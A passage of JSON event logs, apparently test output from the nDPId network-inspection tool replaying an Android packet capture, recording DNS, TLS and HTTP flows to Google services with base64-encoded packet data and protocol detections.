+00472{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":203,"source":"android.pcap","alias":"nDPId-test","flow_id":39,"flow_packet_id":1,"flow_first_seen":1582454871051,"flow_last_seen":0,"flow_tot_l4_data_len":45,"flow_min_l4_data_len":45,"flow_max_l4_data_len":45,"flow_avg_l4_data_len":45,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.2.16","dst_ip":"192.168.2.1","src_port":32412,"dst_port":53,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00445{"flow_id":39,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":203,"source":"android.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1582454871,"pkt_ts_usec":51013,"pkt_caplen":79,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":79,"pkt_l4_len":45,"pkt":"xiwDYGpkTGr2n\/YnCABFAABBq69AAEARCZvAqAIQwKgCAX6cADUALTLn3DQBAAABAAAAAAAABWNoZWNrCWdvb2dsZXppcANuZXQAAAEAAQ=="} +00637{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":203,"source":"android.pcap","alias":"nDPId-test","flow_id":39,"flow_packet_id":1,"flow_first_seen":1582454871051,"flow_last_seen":0,"flow_tot_l4_data_len":45,"flow_min_l4_data_len":45,"flow_max_l4_data_len":45,"flow_avg_l4_data_len":45,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.2.16","dst_ip":"192.168.2.1","src_port":32412,"dst_port":53,"l4_proto":"udp","ndpi": {"proto":"DNS.DataSaver","breed":"Fun","category":"Web"},"dns": {"query":"check.googlezip.net","num_queries":0,"num_answers":0,"reply_code":0,"query_type":1,"rsp_type":0,"rsp_addr":"0.0.0.0"}} +00440{"flow_id":38,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":205,"source":"android.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1582454871,"pkt_ts_usec":56176,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"TGr2n\/YnxiwDYGpkCABFAAA84WAAAHcGoDvY7yZ4wKgCEAG7gNr8u4aauQzpsaAS6yCywwAAAgQFZAQCCAqJFH+\/\/\/82vAEDAwg="} +00429{"flow_id":38,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":206,"source":"android.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1582454871,"pkt_ts_usec":57218,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"xiwDYGpkTGr2n\/YnCABFAAA03w1AAEAGmZbAqAIQ2O8meIDaAbu5DOmx\/LuGm4AQAVfLBwAAAQEICv\/\/Nr+JFH+\/"} +00440{"flow_id":21,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":207,"source":"android.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1582454871,"pkt_ts_usec":58563,"pkt_caplen":70,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":70,"pkt_l4_len":16,"pkt":"MzMAAAACTGr2n\/Ynht1gAAAAABA6\/\/6AAAAAAAAATmr2\/\/6f9if\/AgAAAAAAAAAAAAAAAAAChQAIygAAAAABAUxq9p\/2Jw=="} +00471{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":208,"source":"android.pcap","alias":"nDPId-test","flow_id":40,"flow_packet_id":1,"flow_first_seen":1582454871061,"flow_last_seen":0,"flow_tot_l4_data_len":50,"flow_min_l4_data_len":50,"flow_max_l4_data_len":50,"flow_avg_l4_data_len":50,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.2.16","dst_ip":"192.168.2.1","src_port":7660,"dst_port":53,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00450{"flow_id":40,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":208,"source":"android.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1582454871,"pkt_ts_usec":61577,"pkt_caplen":84,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":84,"pkt_l4_len":50,"pkt":"xiwDYGpkTGr2n\/YnCABFAABGq7FAAEARCZTAqAIQwKgCAR3sADUAMs+l\/agBAAABAAAAAAAACWRhdGFzYXZlcgpnb29nbGVhcGlzA2NvbQAAAQAB"} +00641{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":208,"source":"android.pcap","alias":"nDPId-test","flow_id":40,"flow_packet_id":1,"flow_first_seen":1582454871061,"flow_last_seen":0,"flow_tot_l4_data_len":50,"flow_min_l4_data_len":50,"flow_max_l4_data_len":50,"flow_avg_l4_data_len":50,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.2.16","dst_ip":"192.168.2.1","src_port":7660,"dst_port":53,"l4_proto":"udp","ndpi": {"proto":"DNS.DataSaver","breed":"Fun","category":"Web"},"dns": {"query":"datasaver.googleapis.com","num_queries":0,"num_answers":0,"reply_code":0,"query_type":1,"rsp_type":0,"rsp_addr":"0.0.0.0"}} +00476{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":209,"source":"android.pcap","alias":"nDPId-test","flow_id":41,"flow_packet_id":1,"flow_first_seen":1582454871069,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.2.16","dst_ip":"216.239.38.120","src_port":32988,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00443{"flow_id":41,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":209,"source":"android.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1582454871,"pkt_ts_usec":69614,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"xiwDYGpkTGr2n\/YnCABFAAA8\/AdAAEAGfJTAqAIQ2O8meIDcAbs4lMrFAAAAAKAC\/\/\/JKwAAAgQFtAQCCAr\/\/zbCAAAAAAEDAwg="} +00476{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":210,"source":"android.pcap","alias":"nDPId-test","flow_id":42,"flow_packet_id":1,"flow_first_seen":1582454871075,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.2.16","dst_ip":"216.239.38.120","src_port":32990,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00442{"flow_id":42,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":210,"source":"android.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1582454871,"pkt_ts_usec":75698,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"xiwDYGpkTGr2n\/YnCABFAAA8xAhAAEAGtJPAqAIQ2O8meIDeAbsJrvLMAAAAAKAC\/\/\/QBgAAAgQFtAQCCAr\/\/zbEAAAAAAEDAwg="} +00440{"flow_id":41,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":211,"source":"android.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1582454871,"pkt_ts_usec":83686,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"TGr2n\/YnxiwDYGpkCABFAAA8bmcAAHYGFDXY7yZ4wKgCEAG7gNxV\/jlEOJTKxqAS6yDJiQAAAgQFZAQCCAom516W\/\/82wgEDAwg="} +00428{"flow_id":41,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":212,"source":"android.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1582454871,"pkt_ts_usec":87218,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"xiwDYGpkTGr2n\/YnCABFAAA0\/AhAAEAGfJvAqAIQ2O8meIDcAbs4lMrGVf45RYAQAVfhzAAAAQEICv\/\/NsYm516W"} +00440{"flow_id":42,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":213,"source":"android.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1582454871,"pkt_ts_usec":88655,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"TGr2n\/YnxiwDYGpkCABFAAA8Nk0AAHcGS0\/Y7yZ4wKgCEAG7gN4gvysUCa7yzaAS6yD0TQAAAgQFZAQCCApclUhu\/\/82xAEDAwg="} +00427{"flow_id":42,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":214,"source":"android.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1582454871,"pkt_ts_usec":89851,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"xiwDYGpkTGr2n\/YnCABFAAA0xAlAAEAGtJrAqAIQ2O8meIDeAbsJrvLNIL8rFYAQAVcMkgAAAQEICv\/\/NsdclUhu"} +00465{"flow_id":39,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":215,"source":"android.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1582454871,"pkt_ts_usec":90412,"pkt_caplen":95,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":95,"pkt_l4_len":61,"pkt":"TGr2n\/YnxiwDYGpkCABFAABRSjQAAEARqwbAqAIBwKgCEAA1fpwAPWeH3DSBgAABAAEAAAAABWNoZWNrCWdvb2dsZXppcANuZXQAAAEAAcAMAAEAAQAAAQMABK3CT3I="} +00665{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":215,"source":"android.pcap","alias":"nDPId-test","flow_id":39,"flow_packet_id":2,"flow_first_seen":1582454871051,"flow_last_seen":1582454871090,"flow_tot_l4_data_len":106,"flow_min_l4_data_len":45,"flow_max_l4_data_len":61,"flow_avg_l4_data_len":53,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.2.16","dst_ip":"192.168.2.1","src_port":32412,"dst_port":53,"l4_proto":"udp","ndpi": {"proto":"DNS.DataSaver","breed":"Fun","category":"Web"},"dns": {"query":"check.googlezip.net","num_queries":1,"num_answers":1,"reply_code":0,"query_type":1,"rsp_type":1,"rsp_addr":"173.194.79.114"}} +00475{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":216,"source":"android.pcap","alias":"nDPId-test","flow_id":43,"flow_packet_id":1,"flow_first_seen":1582454871094,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.2.16","dst_ip":"173.194.79.114","src_port":36834,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00443{"flow_id":43,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":216,"source":"android.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1582454871,"pkt_ts_usec":94545,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"xiwDYGpkTGr2n\/YnCABFAAA8RuFAAEAGM+7AqAIQrcJPco\/iAFBu6HAoAAAAAKAC\/\/\/iBQAAAgQFtAQCCAr\/\/zbJAAAAAAEDAwg="} +00477{"flow_id":40,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":217,"source":"android.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1582454871,"pkt_ts_usec":100485,"pkt_caplen":100,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":100,"pkt_l4_len":66,"pkt":"TGr2n\/YnxiwDYGpkCABFAABWpmUAAEARTtDAqAIBwKgCEAA1HewAQssi\/aiBgAABAAEAAAAACWRhdGFzYXZlcgpnb29nbGVhcGlzA2NvbQAAAQABwAwAAQABAAABKwAErNkVyg=="} +00669{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":217,"source":"android.pcap","alias":"nDPId-test","flow_id":40,"flow_packet_id":2,"flow_first_seen":1582454871061,"flow_last_seen":1582454871100,"flow_tot_l4_data_len":116,"flow_min_l4_data_len":50,"flow_max_l4_data_len":66,"flow_avg_l4_data_len":58,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.2.16","dst_ip":"192.168.2.1","src_port":7660,"dst_port":53,"l4_proto":"udp","ndpi": {"proto":"DNS.DataSaver","breed":"Fun","category":"Web"},"dns": {"query":"datasaver.googleapis.com","num_queries":1,"num_answers":1,"reply_code":0,"query_type":1,"rsp_type":1,"rsp_addr":"172.217.21.202"}} +00476{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":218,"source":"android.pcap","alias":"nDPId-test","flow_id":44,"flow_packet_id":1,"flow_first_seen":1582454871103,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.2.16","dst_ip":"172.217.21.202","src_port":51928,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00442{"flow_id":44,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":218,"source":"android.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1582454871,"pkt_ts_usec":103439,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"xiwDYGpkTGr2n\/YnCABFAAA8ApdAAEAGssnAqAIQrNkVysrYAbsvYjRcAAAAAKAC\/\/9bhgAAAgQFtAQCCAr\/\/zbLAAAAAAEDAwg="} +01126{"flow_id":42,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":219,"source":"android.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1582454871,"pkt_ts_usec":103583,"pkt_caplen":583,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":583,"pkt_l4_len":549,"pkt":"xiwDYGpkTGr2n\/YnCABFAAI5xApAAEAGspTAqAIQ2O8meIDeAbsJrvLNIL8rFYAYAVc5mwAAAQEICv\/\/NstclUhuFgMBAgABAAH8AwMxTXvusHBDhpdSzKEoPqQ2o90gb87HP3QFZwA4kEZ\/QyD4xr0gtG8NjPlWhUg7IfWsznkFNClZBNvxMyLqGIrBHgAiEwETAhMDwCvALMypwC\/AMMyowAnACsATwBQAnACdAC8ANQEAAZEAAAAfAB0AABphbmRyb2lkLmNsaWVudHMuZ29vZ2xlLmNvbQAXAAD\/AQABAAAKAAgABgAdABcAGAALAAIBAAAFAAUBAAAAAAANABQAEgQDCAQEAQUDCAUFAQgGBgECAQAzACYAJAAdACBI0V5haWJofMB6PMnUO4IQ7keMeAwbqHFyCH7tJ8MoLgAtAAIBAQArAAkIAwQDAwMCAwEAFQDxAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=="} +00839{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":219,"source":"android.pcap","alias":"nDPId-test","flow_id":42,"flow_packet_id":4,"flow_first_seen":1582454871075,"flow_last_seen":1582454871103,"flow_tot_l4_data_len":661,"flow_min_l4_data_len":32,"flow_max_l4_data_len":549,"flow_avg_l4_data_len":165,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.2.16","dst_ip":"216.239.38.120","src_port":32990,"dst_port":443,"l4_proto":"tcp","ndpi": {"flow_risk": {"15":"TLS (probably) not carrying HTTPS"},"proto":"TLS.PlayStore","breed":"Safe","category":"SoftwareUpdate"},"tls": {"version":"TLSv1.2","client_requested_server_name":"android.clients.google.com","ja3":"9c815150ea821166faecf80757d8826a","ja3s":"","unsafe_cipher":0,"cipher":"TLS_NULL_WITH_NULL_NULL","tls_supported_versions":"TLSv1.3,TLSv1.2,TLSv1.1,TLSv1"}} +01130{"flow_id":38,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":220,"source":"android.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1582454871,"pkt_ts_usec":105198,"pkt_caplen":583,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":583,"pkt_l4_len":549,"pkt":"xiwDYGpkTGr2n\/YnCABFAAI53w5AAEAGl5DAqAIQ2O8meIDaAbu5DOmx\/LuGm4AYAVc8kAAAAQEICv\/\/NsuJFH+\/FgMBAgABAAH8AwNXR4IBK0icLctGWlxjvV\/JiAB62cpYMwCtfNZyJo3zdyCr3\/X3EqQMslzWKxfodTxbMmxBkYxsWxP2dnqi9pIeZQAiEwETAhMDwCvALMypwC\/AMMyowAnACsATwBQAnACdAC8ANQEAAZEAAAAfAB0AABphbmRyb2lkLmNsaWVudHMuZ29vZ2xlLmNvbQAXAAD\/AQABAAAKAAgABgAdABcAGAALAAIBAAAFAAUBAAAAAAANABQAEgQDCAQEAQUDCAUFAQgGBgECAQAzACYAJAAdACDrv790wU6es29sORpkI+NUqAeVoQxGptljCga\/6WmGZAAtAAIBAQArAAkIAwQDAwMCAwEAFQDxAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=="} +00839{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":220,"source":"android.pcap","alias":"nDPId-test","flow_id":38,"flow_packet_id":4,"flow_first_seen":1582454871042,"flow_last_seen":1582454871105,"flow_tot_l4_data_len":661,"flow_min_l4_data_len":32,"flow_max_l4_data_len":549,"flow_avg_l4_data_len":165,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.2.16","dst_ip":"216.239.38.120","src_port":32986,"dst_port":443,"l4_proto":"tcp","ndpi": {"flow_risk": {"15":"TLS (probably) not carrying HTTPS"},"proto":"TLS.PlayStore","breed":"Safe","category":"SoftwareUpdate"},"tls": {"version":"TLSv1.2","client_requested_server_name":"android.clients.google.com","ja3":"9c815150ea821166faecf80757d8826a","ja3s":"","unsafe_cipher":0,"cipher":"TLS_NULL_WITH_NULL_NULL","tls_supported_versions":"TLSv1.3,TLSv1.2,TLSv1.1,TLSv1"}} +00472{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":221,"source":"android.pcap","alias":"nDPId-test","flow_id":45,"flow_packet_id":1,"flow_first_seen":1582454871115,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.2.16","dst_ip":"192.168.2.1","src_port":40580,"dst_port":53,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00438{"flow_id":45,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":221,"source":"android.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1582454871,"pkt_ts_usec":115584,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"xiwDYGpkTGr2n\/YnCABFAAA8q7VAAEARCZrAqAIQwKgCAZ6EADUAKMiehDwBAAABAAAAAAAAA3d3dwZnb29nbGUDY29tAAABAAE="} +00633{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":221,"source":"android.pcap","alias":"nDPId-test","flow_id":45,"flow_packet_id":1,"flow_first_seen":1582454871115,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.2.16","dst_ip":"192.168.2.1","src_port":40580,"dst_port":53,"l4_proto":"udp","ndpi": {"proto":"DNS.Google","breed":"Unrated","category":"Web"},"dns": {"query":"www.google.com","num_queries":0,"num_answers":0,"reply_code":0,"query_type":1,"rsp_type":0,"rsp_addr":"0.0.0.0"}} +00428{"flow_id":42,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":222,"source":"android.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1582454871,"pkt_ts_usec":115912,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"TGr2n\/YnxiwDYGpkCABFAAA0NlQAAHcGS1DY7yZ4wKgCEAG7gN4gvysVCa700oAQAPAK1AAAAQEIClyVSIr\/\/zbL"} +00458{"flow_id":45,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":223,"source":"android.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1582454871,"pkt_ts_usec":117429,"pkt_caplen":90,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":90,"pkt_l4_len":56,"pkt":"TGr2n\/YnxiwDYGpkCABFAABM2yQAAEARGhvAqAIBwKgCEAA1noQAOIeohDyBgAABAAEAAAAAA3d3dwZnb29nbGUDY29tAAABAAHADAABAAEAAADaAATY7yZ4"} +00660{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":223,"source":"android.pcap","alias":"nDPId-test","flow_id":45,"flow_packet_id":2,"flow_first_seen":1582454871115,"flow_last_seen":1582454871117,"flow_tot_l4_data_len":96,"flow_min_l4_data_len":40,"flow_max_l4_data_len":56,"flow_avg_l4_data_len":48,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.2.16","dst_ip":"192.168.2.1","src_port":40580,"dst_port":53,"l4_proto":"udp","ndpi": {"proto":"DNS.Google","breed":"Unrated","category":"Web"},"dns": {"query":"www.google.com","num_queries":1,"num_answers":1,"reply_code":0,"query_type":1,"rsp_type":1,"rsp_addr":"216.239.38.120"}} +00429{"flow_id":38,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":224,"source":"android.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1582454871,"pkt_ts_usec":118481,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"TGr2n\/YnxiwDYGpkCABFAAA04ZEAAHcGoBLY7yZ4wKgCEAG7gNr8u4abuQzrtoAQAPDJHgAAAQEICokUf\/7\/\/zbL"} +00441{"flow_id":43,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":225,"source":"android.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1582454871,"pkt_ts_usec":128611,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"TGr2n\/YnxiwDYGpkCABFAAA83d0AAGcGtfGtwk9ywKgCEABQj+ImKPRybuhwKaAS87giVwAAAgQFlgQCCArBhO\/i\/\/82yQEDAwg="} +00431{"flow_id":43,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":226,"source":"android.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1582454871,"pkt_ts_usec":130064,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"xiwDYGpkTGr2n\/YnCABFAAA0RuJAAEAGM\/XAqAIQrcJPco\/iAFBu6HApJij0c4AQAVdDYAAAAQEICv\/\/NtHBhO\/i"} +00829{"flow_id":43,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":227,"source":"android.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1582454871,"pkt_ts_usec":131065,"pkt_caplen":363,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":363,"pkt_l4_len":329,"pkt":"xiwDYGpkTGr2n\/YnCABFAAFdRuNAAEAGMsvAqAIQrcJPco\/iAFBu6HApJij0c4AYAVesTgAAAQEICv\/\/NtLBhO\/iR0VUIC9jb25uZWN0IEhUVFAvMS4xDQpIb3N0OiBjaGVjay5nb29nbGV6aXAubmV0DQpDb25uZWN0aW9uOiBrZWVwLWFsaXZlDQpVc2VyLUFnZW50OiBNb3ppbGxhLzUuMCAoTGludXg7IEFuZHJvaWQgOTsgTm9raWEgMi4yKSBBcHBsZVdlYktpdC81MzcuMzYgKEtIVE1MLCBsaWtlIEdlY2tvKSBDaHJvbWUvNzkuMC4zOTQ1LjkzIE1vYmlsZSBTYWZhcmkvNTM3LjM2DQpBY2NlcHQtRW5jb2Rpbmc6IGd6aXAsIGRlZmxhdGUNCkFjY2VwdC1MYW5ndWFnZTogaXQtSVQsaXQ7cT0wLjksZW4tVVM7cT0wLjgsZW47cT0wLjcNCg0K"} +00769{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":227,"source":"android.pcap","alias":"nDPId-test","flow_id":43,"flow_packet_id":4,"flow_first_seen":1582454871094,"flow_last_seen":1582454871131,"flow_tot_l4_data_len":441,"flow_min_l4_data_len":32,"flow_max_l4_data_len":329,"flow_avg_l4_data_len":110,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.2.16","dst_ip":"173.194.79.114","src_port":36834,"dst_port":80,"l4_proto":"tcp","ndpi": {"proto":"HTTP.DataSaver","breed":"Fun","category":"Web"},"http": {"hostname":"check.googlezip.net","url":"check.googlezip.net\/connect","code":0,"content_type":"","user_agent":"Mozilla\/5.0 (Linux; Android 9; Nokia 2.2) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/79.0.3945.93 Mobile Safari\/537.36"}} +02356{"flow_id":42,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":228,"source":"android.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1582454871,"pkt_ts_usec":132684,"pkt_caplen":1484,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1484,"pkt_l4_len":1450,"pkt":"TGr2n\/YnxiwDYGpkCABFAAW+NmQAAHcGRbbY7yZ4wKgCEAG7gN4gvysVCa700oAQAPCzlQAAAQEIClyVSJr\/\/zbLFgMDAHoCAAB2AwMJ5+bEQZGqSbvKHHvA6OhZFmLIMc6WOA9IKTeVeBOJByD4xr0gtG8NjPlWhUg7IfWsznkFNClZBNvxMyLqGIrBHhMBAAAuADMAJAAdACAlVzu8mSjqJcKGpo9HI5rQXClsQPwaTgdhQ9yhViWzLwArAAIDBBQDAwABARcDAw4znWgR9q\/08TI8DEAJmQg\/\/Wyv7Xw6fUhWjAAVBXIY6dCFzbcyvv7G5RiACsP48WNvufQJs42gcLTe8rMwSk\/+okAS+08DsNSUqcCIAHlXLEVEJiNlLXC6URbkOsEp0h0FJsKi\/rnY2JFTLl\/4jWzt5z4JhBIYLiJwLeoskfchOXpZB1YcvWP4f1bIJwPM3x11+Z\/YcUbw\/RxQZIAyf45c9djprp1bM+ieVPgJSNjC5fa3BxQxdePTxWoNQCMixHro4X6dMtg0sabqwedtnXyLvnv1I66fcRLu5RC3J9H5CMffqptbGFa\/6EbHcFDYzSzTwLLOI5lXSsC8jI\/pKNMIMWdJzoaDyPqzSdiw3pH